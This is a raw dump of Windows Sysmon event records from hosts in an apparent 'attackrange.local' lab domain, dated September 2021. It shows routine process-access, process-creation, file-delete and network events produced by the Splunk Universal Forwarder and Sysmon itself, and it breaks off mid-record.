15:10:31.491{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7567-613B-4B05-00000000F101}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018484Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.491{625C326B-7567-613B-4B05-00000000F101}108C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018483Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:31.067{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F6101C33A601B61FB819C69FF37CED5,SHA256=AF5460B4C3C8B3C40317E3D986F726EEE11FB0FC9043FB78F8373DECB805E245,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:29.374{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63213-false10.0.1.12-8089- 23542300x800000000000000057848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:32.195{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A4D10A3E334BF2463EDC032BCD986B84,SHA256=F2E63EE0A8ED6F0D6364F691EDD391EAFAD5478E2C0E435F6BC67328E996C4ED,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018527Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7568-613B-4D05-00000000F101}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018526Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018525Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018524Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018523Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018522Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018521Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018520Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018519Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018518Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018517Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7568-613B-4D05-00000000F101}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018516Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.663{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7568-613B-4D05-00000000F101}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018515Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.664{625C326B-7568-613B-4D05-00000000F101}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018514Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.522{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C25BDD988F28EBD1B711531DCE82A266,SHA256=BEF1500D9AAACBE121A37C553156EF337BB26F46B5F5D17A5E5BB373A567A32E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018513Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.522{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4ED9A23E2859D4A99A3243CF9DDFCA92,SHA256=FD86D35804EC676C453212E1A259C9196E82BDF48AA4848D0570E5412C737B75,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018512Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.397{625C326B-7568-613B-4C05-00000000F101}23123760C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000018511Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:30.575{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50433-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000018510Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7568-613B-4C05-00000000F101}2312C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018509Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018508Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018507Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018506Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018505Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018504Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:32.163{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018503Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 